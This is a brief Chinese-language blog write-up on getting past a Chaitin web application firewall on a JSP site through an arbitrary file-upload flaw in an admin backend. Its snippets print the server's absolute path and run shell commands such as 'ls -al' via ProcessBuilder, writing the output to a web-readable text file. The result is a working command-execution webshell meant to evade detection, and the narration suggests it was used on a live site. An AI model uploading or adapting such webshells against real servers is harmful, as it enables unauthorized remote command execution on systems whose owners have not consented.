Jsp 站绕长亭 WAF 小记
前言
偶然进了个后台,存在任意文件上传漏洞,但是常规的 webshell 均被杀,但是确实是可以解析的。
获取绝对路径
上传该脚本,获取网站绝对路径
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>JSP Page Absolute Path</title>
</head>
<body>
<h1>The absolute path of this JSP page is:</h1>
<%
// 获取当前页面的相对路径
String relativePath = request.getServletPath();
// 使用ServletContext获取绝对路径
String absolutePath = application.getRealPath(relativePath);
// 输出绝对路径
out.println(absolutePath);
%>
</body>
</html>
创建文件
创建一个 txt 文件,用于保存命令执行结果
<% Process process = new ProcessBuilder(new
String[]{"touch","/data1/tomcat-80/webapps/ROOT/uploadfiles/1/sec.txt"}).start(); %>
执行命令并重定向
<%@ page import="java.io.File" %>
<%
String tempFilePath = "/data1/tomcat-80/webapps/ROOT/uploadfiles/1/sec.txt";
ProcessBuilder pb = new ProcessBuilder(new String[]{"ls","-al"});//逗号=空格 "ifconfig"
pb.redirectOutput(new File(tempFilePath));
Process process = pb.start();
%>
访问该文件后,命令执行结果会被重定向到 sec.txt
访问 sec.txt,即可得到结果